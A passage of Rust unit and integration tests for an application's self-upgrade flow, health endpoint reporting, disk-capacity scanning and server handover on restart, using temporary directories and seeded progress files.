22371 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22372 }
22373 let fx = Fixture::start().await;
22374 let res = fx.post("/api/upgrade", None).await;
22375 unsafe {
22376 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22377 }
22378 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22379 let body = res.json();
22380 assert!(body["to"].is_null(), "there was no release to move to");
22381 assert!(body["parked"].is_null(), "and nothing was parked");
22382 assert!(
22383 body["detail"]
22384 .as_str()
22385 .unwrap()
22386 .contains("disabled by MAGI_NO_AUTOUPDATE"),
22387 "{body:?}"
22388 );
22389 }
22390
22391 #[test]
22392 fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
22393 use AutoUpgradeDecision::{Skip, Trigger, Wait};
22394 let mut cfg = Update::default();
22395 assert!(matches!(
22396 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22397 Skip(_)
22398 ));
22399 cfg.auto_restart = true;
22400 assert_eq!(
22401 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22402 Trigger
22403 );
22404 assert_eq!(
22405 auto_upgrade_decision(&cfg, false, false, true, "v2", None),
22406 Wait
22407 );
22408 for (disabled, moving, failed) in [
22409 (true, false, None),
22410 (false, true, None),
22411 (false, false, Some("v2")),
22412 ] {
22413 assert!(matches!(
22414 auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
22415 Skip(_)
22416 ));
22417 }
22418 assert_eq!(
22419 auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
22420 Trigger
22421 );
22422 cfg.mode = UpdateMode::Off;
22423 assert!(matches!(
22424 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22425 Skip(_)
22426 ));
22427 }
22428
22429 #[test]
22430 fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
22431 let home = TempDir::new().unwrap();
22432 let ui = idle_ui(&home);
22433 assert!(!ui.auto_upgrade_busy());
22434 let directory = home.path().join("workers/jobs/abcdef");
22435 std::fs::create_dir_all(&directory).unwrap();
22436 let mut job = crate::worker::Job {
22437 id: "abcdef".into(),
22438 sequence: 1,
22439 kind: "scheduler".into(),
22440 key: "scheduler".into(),
22441 payload: serde_json::json!({}),
22442 generation: "test".into(),
22443 version: None,
22444 status: crate::worker::Status::Running,
22445 result: None,
22446 pid: None,
22447 created_at: 0,
22448 finished_at: None,
22449 };
22450 let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
22451 let write = |job: &crate::worker::Job| {
22452 std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
22453 };
22454 write(&job);
22455 assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
22456 for kind in ["task", "chat"] {
22457 job.kind = kind.into();
22458 write(&job);
22459 assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
22460 }
22461 drop(lease);
22462 assert!(
22466 !ui.auto_upgrade_busy(),
22467 "completed execution permits updates"
22468 );
22469 std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
22470 assert!(
22471 ui.auto_upgrade_busy(),
22472 "unreadable worker state defers updates"
22473 );
22474 }
22475
22476 fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
22477 Box::pin(async { anyhow::bail!("test installer failed") })
22478 }
22479
22480 #[tokio::test]
22481 async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
22482 let home = TempDir::new().unwrap();
22483 std::fs::write(
22484 home.path().join("magi.toml"),
22485 "[update]\nauto_restart = true\n",
22486 )
22487 .unwrap();
22488 let mut ui = idle_ui(&home);
22489 ui.repo = home.path().to_path_buf();
22490 ui.upgrade_runner = fail_test_upgrade;
22492 let ui = Arc::new(ui);
22493 let latest = || {
22494 Some(kaishin::LatestRelease {
22495 tag_name: "v999.0.0".into(),
22496 html_url: String::new(),
22497 })
22498 };
22499 ui.talk_turns.lock().unwrap().live.insert("busy".into());
22500 assert_eq!(
22501 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22502 .await
22503 .status(),
22504 StatusCode::NO_CONTENT
22505 );
22506 assert!(updater::read_progress(home.path()).is_none());
22507 ui.talk_turns.lock().unwrap().live.clear();
22508 let gate = ui.upgrade_gate.lock().await;
22509 assert_eq!(
22510 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22511 .await
22512 .status(),
22513 StatusCode::CONFLICT
22514 );
22515 drop(gate);
22516 assert_eq!(
22517 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22518 .await
22519 .status(),
22520 StatusCode::ACCEPTED
22521 );
22522 let progress = updater::read_progress(home.path()).unwrap();
22523 assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
22524 assert_eq!(progress.stage, updater::Stage::Downloading);
22525 assert!(progress.parked_run.is_none());
22526 assert!(ui.start_detached_loop().await.is_err());
22527 assert!(ui.start_loop(None).is_err());
22528 assert!(ui.begin_resume("late").is_err());
22529 tokio::time::timeout(Duration::from_secs(2), async {
22530 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22531 tokio::task::yield_now().await;
22532 }
22533 })
22534 .await
22535 .unwrap();
22536 let progress = updater::read_progress(home.path()).unwrap();
22537 assert_eq!(progress.stage, updater::Stage::Failed);
22538 assert_eq!(
22539 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22540 .await
22541 .status(),
22542 StatusCode::NO_CONTENT
22543 );
22544 let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
22546 assert_eq!(
22547 finish_upgrade_request(&ui, result).status(),
22548 StatusCode::ACCEPTED
22549 );
22550 assert_eq!(
22551 updater::read_progress(home.path()).unwrap().trigger,
22552 updater::UpgradeTrigger::Manual
22553 );
22554 tokio::time::timeout(Duration::from_secs(2), async {
22555 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22556 tokio::task::yield_now().await;
22557 }
22558 })
22559 .await
22560 .unwrap();
22561 }
22562
22563 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
22564 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
22565 p.stage = stage;
22566 p
22567 }
22568
22569 #[test]
22570 fn busy_stages_match_the_ui_set() {
22571 use crate::updater::Stage;
22572 assert!(APP_JS.contains(
22573 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
22574 ));
22575 for s in [
22576 Stage::Downloading,
22577 Stage::Replaced,
22578 Stage::Parking,
22579 Stage::Restarting,
22580 ] {
22581 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
22582 }
22583 for s in [Stage::Done, Stage::Failed] {
22584 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
22585 }
22586 assert!(upgrade_in_motion(None).is_none());
22587 }
22588
22589 #[tokio::test]
22590 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
22591 use crate::updater::Stage;
22592 for stage in [
22593 Stage::Downloading,
22594 Stage::Replaced,
22595 Stage::Parking,
22596 Stage::Restarting,
22597 ] {
22598 let fx = Fixture::start().await;
22599 let seeded = seeded_progress(stage);
22600 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
22601 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22602 .expect("read");
22603
22604 let res = fx.post("/api/upgrade", None).await;
22605 assert_eq!(res.status, 409, "{stage:?}");
22606 let err = res.json()["error"].as_str().unwrap().to_owned();
22607 assert!(err.contains("already in progress"), "{err}");
22608 assert!(err.contains(stage.as_str()), "{err}");
22609
22610 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22611 .expect("read");
22612 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
22613 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
22614 .unwrap_or_default();
22615 assert!(!log.contains("signalling HANDOVER"), "{log}");
22616 }
22617 }
22618
22619 #[test]
22620 fn upgrade_retry_timing_only_parses_known_diagnostics() {
22621 assert_eq!(
22622 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
22623 Some(3723)
22624 );
22625 assert_eq!(
22626 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
22627 Some(60)
22628 );
22629 assert_eq!(
22630 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
22631 Some(0)
22632 );
22633 for message in [
22634 "permission denied",
22635 "GitHub API rate limit exceeded",
22636 "GitHub rate limit (resets in unknown)",
22637 "GitHub rate limit (resets in 18446744073709551615d)",
22638 ] {
22639 assert_eq!(upgrade_retry_after(message), None, "{message}");
22640 }
22641 }
22642
22643 #[tokio::test]
22644 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
22645 let home = TempDir::new().unwrap();
22646 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
22647 ui.start_loop(None).unwrap();
22648 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
22649 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
22650 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
22651 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
22652 let response = finish_upgrade_request(&ui, result);
22653 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
22654 assert_eq!(response.headers()["retry-after"], "120");
22655 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
22656 .await
22657 .unwrap();
22658 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
22659 assert!(body["error"].as_str().unwrap().contains(reason));
22660 assert_eq!(body["retry_after_secs"], 120);
22661 assert!(body["retry_at"].as_u64().is_some());
22662 for _ in 0..2 {
22663 let view = health(State(ui.clone())).await.unwrap().0;
22664 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
22665 assert_eq!(failure, body);
22666 }
22667 assert_eq!(
22668 std::fs::read(updater::progress_path(home.path())).unwrap(),
22669 before
22670 );
22671 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
22672 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
22673 let gate = ui.upgrade_gate.lock().await;
22675 assert_eq!(
22676 upgrade_post(State(ui.clone())).await.status(),
22677 StatusCode::CONFLICT
22678 );
22679 drop(gate);
22680 assert!(
22681 health(State(ui.clone()))
22682 .await
22683 .unwrap()
22684 .0
22685 .upgrade_request_error
22686 .is_some()
22687 );
22688 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
22689 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
22690 assert!(
22691 health(State(ui.clone()))
22692 .await
22693 .unwrap()
22694 .0
22695 .upgrade_request_error
22696 .is_none()
22697 );
22698 let live = ui.lock_loop().live.take().unwrap();
22699 live.stop.stop();
22700 live.handle.await.unwrap();
22701 }
22702
22703 #[tokio::test]
22704 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
22705 use crate::updater::Stage;
22706 let repo = TempDir::new().expect("repo dir");
22707 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22708 .expect("write magi.toml");
22709 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22710 for stage in [Stage::Done, Stage::Failed] {
22711 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
22712 let res = fx.post("/api/upgrade", None).await;
22713 assert_eq!(res.status, 200, "{stage:?}");
22714 }
22715 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
22717 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
22718 }
22719
22720 #[tokio::test]
22721 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
22722 let repo = TempDir::new().expect("repo dir");
22738 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22739 .expect("write magi.toml");
22740 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22741
22742 let res = fx.post("/api/upgrade", None).await;
22748 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22749 let body = res.json();
22750 assert!(body["to"].is_null(), "there was no release to move to");
22751 assert!(body["parked"].is_null(), "and nothing was parked");
22752 assert!(
22753 body["detail"]
22754 .as_str()
22755 .unwrap()
22756 .contains("nothing restarted"),
22757 "{body:?}"
22758 );
22759 }
22760
22761 async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
22762 tokio::time::timeout(Duration::from_secs(5), async {
22763 while state.lock().unwrap().in_flight {
22764 tokio::task::yield_now().await;
22765 }
22766 })
22767 .await
22768 .expect("capacity scan finished");
22769 }
22770
22771 fn disk_test_scope(home: &FsPath) -> DiskScope {
22772 DiskScope {
22773 runs: home.join("runs"),
22774 worktrees: home.join("worktrees"),
22775 cache: Some(home.join("cache")),
22776 }
22777 }
22778
22779 fn known_disk_capacity() -> DiskCapacity {
22780 DiskCapacity {
22781 free_bytes: Some(100),
22782 runs_bytes: Some(200),
22783 worktrees_bytes: Some(300),
22784 cache_bytes: Some(400),
22785 }
22786 }
22787
22788 #[tokio::test]
22789 async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
22790 let home = TempDir::new().unwrap();
22791 std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
22792 let mut ui = delta_test_ui(home.path());
22793 let state = Arc::get_mut(&mut ui).unwrap();
22794 state.repo = home.path().to_owned();
22795 state.worktrees_root = home.path().join("worktrees");
22796 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
22797 ui.monitor
22798 .worker_started
22799 .store(true, std::sync::atomic::Ordering::SeqCst);
22800 let cfg = deputy_config(&ui.repo);
22801 let scope = DiskScope::of(&ui, cfg.as_ref());
22802 let (started, reached) = tokio::sync::oneshot::channel();
22803 let (release, blocked) = std::sync::mpsc::channel();
22804 let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
22805 started.send(()).unwrap();
22806 blocked.recv().unwrap();
22807 known_disk_capacity()
22808 });
22809 assert!(cold.runs_bytes.is_none());
22810 tokio::time::timeout(Duration::from_secs(5), reached)
22811 .await
22812 .unwrap()
22813 .unwrap();
22814
22815 let requests: Vec<_> = (0..4)
22816 .map(|_| {
22817 let ui = ui.clone();
22818 tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
22819 })
22820 .collect();
22821 tokio::time::timeout(Duration::from_secs(5), async {
22822 for request in requests {
22823 let view = request.await.unwrap();
22824 let disk = serde_json::to_value(view.disk).unwrap();
22825 assert!(disk["runs_bytes"].is_null());
22826 assert!(disk["worktrees_bytes"].is_null());
22827 assert!(disk["free_bytes"].is_u64());
22830 }
22831 })
22832 .await
22833 .expect("health must return while the measurement is causally blocked");
22834 assert!(ui.monitor.disk.lock().unwrap().in_flight);
22835 assert!(
22837 ui.monitor
22838 .disk
22839 .lock()
22840 .unwrap()
22841 .capacity
22842 .runs_bytes
22843 .is_none()
22844 );
22845 release.send(()).unwrap();
22846 wait_for_disk_scan(&ui.monitor.disk).await;
22847 assert_eq!(
22848 ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
22849 Some(200)
22850 );
22851 }
22852
22853 #[tokio::test]
22854 async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
22855 let home = TempDir::new().unwrap();
22856 let scope = disk_test_scope(home.path());
22857 let state = Arc::new(Mutex::new(DiskObservation {
22858 scope: Some(scope.clone()),
22859 capacity: known_disk_capacity(),
22860 finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
22861 ..Default::default()
22862 }));
22863 let (started, reached) = tokio::sync::oneshot::channel();
22864 let (release, blocked) = std::sync::mpsc::channel();
22865 let before = DiskObservation::observe(&state, scope.clone(), move |_| {
22866 started.send(()).unwrap();
22867 blocked.recv().unwrap();
22868 DiskCapacity {
22869 runs_bytes: Some(250),
22870 ..Default::default()
22871 }
22872 });
22873 assert_eq!(before.cache_bytes, Some(400));
22874 tokio::time::timeout(Duration::from_secs(5), reached)
22875 .await
22876 .unwrap()
22877 .unwrap();
22878 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22879 for _ in 0..4 {
22880 let scans = duplicate_scans.clone();
22881 let during = DiskObservation::observe(&state, scope.clone(), move |_| {
22882 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22883 DiskCapacity::default()
22884 });
22885 assert_eq!(during.runs_bytes, Some(200));
22886 assert_eq!(during.cache_bytes, Some(400));
22887 }
22888 release.send(()).unwrap();
22889 wait_for_disk_scan(&state).await;
22890 let scans = duplicate_scans.clone();
22891 let after = DiskObservation::observe(&state, scope, move |_| {
22892 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22893 DiskCapacity::default()
22894 });
22895 wait_for_disk_scan(&state).await;
22896 assert_eq!(after.runs_bytes, Some(250));
22897 assert_eq!(after.free_bytes, Some(100));
22898 assert_eq!(after.cache_bytes, Some(400));
22899 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22900 assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
22901 }
22902
22903 #[tokio::test]
22904 async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
22905 let home = TempDir::new().unwrap();
22906 let old_scope = disk_test_scope(home.path());
22907 let mut new_scope = old_scope.clone();
22908 new_scope.cache = Some(home.path().join("replacement-cache"));
22909 let state = Arc::new(Mutex::new(DiskObservation {
22910 scope: Some(old_scope.clone()),
22911 capacity: known_disk_capacity(),
22912 ..Default::default()
22913 }));
22914 let (started, reached) = tokio::sync::oneshot::channel();
22915 let (release, blocked) = std::sync::mpsc::channel();
22916 DiskObservation::observe(&state, old_scope, move |_| {
22917 started.send(()).unwrap();
22918 blocked.recv().unwrap();
22919 known_disk_capacity()
22920 });
22921 tokio::time::timeout(Duration::from_secs(5), reached)
22922 .await
22923 .unwrap()
22924 .unwrap();
22925 let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22926 let scans = duplicate_scans.clone();
22927 let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
22928 scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22929 DiskCapacity::default()
22930 });
22931 assert!(changed.cache_bytes.is_none());
22932 assert!(changed.runs_bytes.is_none());
22933 release.send(()).unwrap();
22934 wait_for_disk_scan(&state).await;
22935 {
22936 let observation = state.lock().unwrap();
22937 assert!(observation.capacity.cache_bytes.is_none());
22938 assert!(observation.finished.is_none());
22939 }
22940 DiskObservation::observe(&state, new_scope.clone(), move |scope| {
22941 assert_eq!(scope, &new_scope);
22942 DiskCapacity {
22943 cache_bytes: Some(999),
22944 ..Default::default()
22945 }
22946 });
22947 wait_for_disk_scan(&state).await;
22948 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
22949 assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22950 }
22951
22952 #[tokio::test]
22953 async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
22954 let home = TempDir::new().unwrap();
22955 let scope = disk_test_scope(home.path());
22956 let state = Arc::new(Mutex::new(DiskObservation {
22957 scope: Some(scope.clone()),
22958 capacity: known_disk_capacity(),
22959 ..Default::default()
22960 }));
22961 DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
22962 wait_for_disk_scan(&state).await;
22963 {
22964 let mut observation = state.lock().unwrap();
22965 assert_eq!(observation.capacity.cache_bytes, Some(400));
22966 assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
22967 observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
22968 }
22969 DiskObservation::observe(&state, scope, |_| DiskCapacity {
22970 cache_bytes: Some(450),
22971 ..Default::default()
22972 });
22973 wait_for_disk_scan(&state).await;
22974 assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
22975 }
22976
22977 #[test]
22978 fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
22979 let home = TempDir::new().unwrap();
22980 assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
22981 assert_eq!(disk_capacity_size(home.path()), Some(0));
22982 std::fs::create_dir(home.path().join("nested")).unwrap();
22983 std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
22984 assert_eq!(disk_capacity_size(home.path()), Some(5));
22985 #[cfg(unix)]
22986 {
22987 assert_eq!(
22989 disk_capacity_size(&home.path().join("nested/data/child")),
22990 None
22991 );
22992 }
22993 #[cfg(unix)]
22994 {
22995 std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
22996 assert_eq!(disk_capacity_size(home.path()), Some(5));
22997 }
22998 }
22999
23000 #[tokio::test]
23001 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
23002 let repo = TempDir::new().expect("repo dir");
23007 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23008 .expect("write magi.toml");
23009 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23010
23011 let health = fx.get("/api/health").await.json();
23012 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
23013 assert_eq!(
23014 health["update"]["available"], false,
23015 "checking is off, which reads as \"unknown\", not \"none\""
23016 );
23017 assert!(health["update"]["to"].is_null());
23018 assert!(
23019 health["upgrade"].is_null(),
23020 "nothing has ever asked this deck to upgrade"
23021 );
23022 }
23023
23024 #[tokio::test]
23025 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
23026 let fx = Fixture::start().await;
23027 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
23028
23029 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23030 progress.parked_run = Some("20260905-000000-cd51".to_owned());
23031 progress.advance(crate::updater::Stage::Parking);
23032 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23033
23034 let health = fx.get("/api/health").await.json();
23035 assert_eq!(health["upgrade"]["stage"], "parking");
23036 assert_eq!(health["upgrade"]["from"], "0.5.1");
23037 assert_eq!(health["upgrade"]["to"], "0.5.2");
23038 let waiting_on = health["upgrade"]["waiting_on"]
23039 .as_str()
23040 .expect("waiting_on is set while parking a known run");
23041 assert!(waiting_on.contains("cd51"), "{waiting_on}");
23042 assert!(waiting_on.contains("implementing"), "{waiting_on}");
23043 }
23044
23045 #[tokio::test]
23046 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
23047 let fx = Fixture::start().await;
23048 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23049 progress.advance(crate::updater::Stage::Done);
23050 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23051
23052 let health = fx.get("/api/health").await.json();
23053 assert_eq!(health["upgrade"]["stage"], "done");
23054 assert!(
23055 health["upgrade"]["waiting_on"].is_null(),
23056 "nothing to wait on once it is done"
23057 );
23058 }
23059
23060 #[tokio::test]
23063 async fn the_handover_signal_wakes_one_waiter_once() {
23064 let signal = Notify::new();
23065 signal.notify_one();
23067 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
23068 .await
23069 .expect("an early signal is still seen");
23070 assert!(
23072 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
23073 .await
23074 .is_err(),
23075 "a consumed signal must not wake a second time"
23076 );
23077 let signal = std::sync::Arc::new(signal);
23079 let waiter = tokio::spawn({
23080 let signal = std::sync::Arc::clone(&signal);
23081 async move { wait_for_handover(&signal).await }
23082 });
23083 tokio::time::sleep(Duration::from_millis(20)).await;
23084 assert!(!waiter.is_finished(), "nothing was signalled yet");
23085 signal.notify_one();
23086 tokio::time::timeout(Duration::from_secs(5), waiter)
23087 .await
23088 .expect("a late signal wakes the waiter")
23089 .expect("join");
23090 }
23091
23092 #[tokio::test]
23093 async fn health_says_how_long_a_handover_has_been_stuck() {
23094 let fx = Fixture::start().await;
23095 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23096 progress.advance(crate::updater::Stage::Replaced);
23097 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
23098 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23099
23100 let health = fx.get("/api/health").await.json();
23101 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
23102 assert!(stuck >= 600, "{stuck}");
23103 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
23104 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
23105 }
23106
23107 #[tokio::test]
23108 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
23109 let home = tempfile::tempdir().expect("temp home");
23110 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23111 progress.advance(crate::updater::Stage::Parking);
23112 crate::updater::write_progress(home.path(), &progress).expect("seed");
23113 let mut again = progress.clone();
23115 again.advance(crate::updater::Stage::Replaced);
23116 crate::updater::write_progress(home.path(), &again).expect("replaced");
23117 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23118 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
23119 let after = crate::updater::read_progress(home.path()).expect("record");
23120 assert_eq!(after.stage, crate::updater::Stage::Parking);
23121 }
23122
23123 #[tokio::test]
23124 async fn health_does_not_call_a_live_parking_wait_stuck() {
23125 let fx = Fixture::start().await;
23126 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23127 progress.parked_run = Some("20260905-000000-cd51".to_owned());
23128 progress.advance(crate::updater::Stage::Parking);
23129 let hours = Duration::from_secs(3 * 3600);
23130 progress.started_at = Timestamp::now() - hours;
23131 progress.updated_at = Timestamp::now() - hours;
23132 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23133 let _lease = crate::updater::LeaseGuard::enter(
23134 fx.home.path(),
23135 Some("20260905-000000-cd51".to_owned()),
23136 );
23137
23138 let health = fx.get("/api/health").await.json();
23139 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
23140 assert!(health["upgrade"]["stuck_kind"].is_null());
23141 assert_eq!(health["upgrade"]["handover_alive"], true);
23142 let waiting_on = health["upgrade"]["waiting_on"]
23143 .as_str()
23144 .expect("waiting_on");
23145 assert!(waiting_on.contains("cd51"), "{waiting_on}");
23146 }
23147
23148 fn idle_ui(home: &TempDir) -> Ui {
23149 let runs = home.path().join("runs");
23150 std::fs::create_dir_all(&runs).expect("runs dir");
23151 Ui::new(
23152 Queue::at(home.path().join("queue")),
23153 Questions::at(home.path().join("questions")),
23154 Talks::at(home.path().join("talks")),
23155 runs,
23156 home.path().to_path_buf(),
23157 PathBuf::from("/repo/magi"),
23158 )
23159 .with_launch(launch_idle)
23160 }
23161
23162 #[tokio::test]
23163 async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
23164 let home = TempDir::new().expect("temp home");
23165 let ui = idle_ui(&home);
23166 let lease = crate::worker::try_lease(home.path(), "scheduler")
23167 .expect("scheduler lease")
23168 .expect("free");
23169 crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
23170 .expect("request stop");
23171 let error = ui
23172 .start_detached_loop()
23173 .await
23174 .expect_err("transition is still live");
23175 assert_eq!(error.status, StatusCode::CONFLICT);
23176 assert!(error.message.contains("still running or stopping"));
23177 assert_eq!(
23178 crate::worker::control(home.path(), "scheduler").unwrap(),
23179 Some(crate::worker::Control::Stop)
23180 );
23181 drop(lease);
23182 }
23183
23184 #[tokio::test]
23185 async fn handover_releases_listener_without_waiting_for_execution_leases() {
23186 let home = TempDir::new().expect("temp home");
23187 let ui = idle_ui(&home);
23188 let turns = ui
23189 .begin_talk_turn("active-chat")
23190 .expect("claim")
23191 .expect("free");
23192 let execution = crate::worker::try_lease(home.path(), "active-task")
23193 .expect("execution lease")
23194 .expect("free");
23195 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23196 .await
23197 .expect("bind loopback");
23198 let address = listener.local_addr().expect("address");
23199 let admissions = Arc::clone(&ui.admissions);
23200 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
23201 let successor_started = std::sync::atomic::AtomicBool::new(false);
23202 tokio::time::timeout(
23203 Duration::from_secs(2),
23204 hand_over(home.path(), &admissions, served, || {
23205 successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
23206 Ok(1)
23207 }),
23208 )
23209 .await
23210 .expect("restart must not wait for execution")
23211 .expect("handover");
23212 assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
23213 let successor = bind_waiting(address)
23216 .await
23217 .expect("successor binds released address");
23218 assert_eq!(successor.local_addr().unwrap(), address);
23219 assert!(turns.owns(), "the chat lease survives restart");
23220 assert!(
23221 crate::worker::try_lease(home.path(), "active-task")
23222 .unwrap()
23223 .is_none()
23224 );
23225 drop(execution);
23226 drop(turns);
23227 }
23228
23229 #[tokio::test]
23230 async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
23231 let home = TempDir::new().expect("temp home");
23232 let ui = idle_ui(&home);
23233 let admission = ui.begin_admission().expect("admit send");
23234 let turn = ui
23235 .begin_talk_turn("active-chat")
23236 .expect("claim")
23237 .expect("free");
23238 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23239 .await
23240 .expect("bind loopback");
23241 let address = listener.local_addr().expect("address");
23242 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
23243 let successor_called = std::sync::atomic::AtomicBool::new(false);
23244 let handover = hand_over(home.path(), &ui.admissions, served, || {
23245 successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
23246 Ok(1)
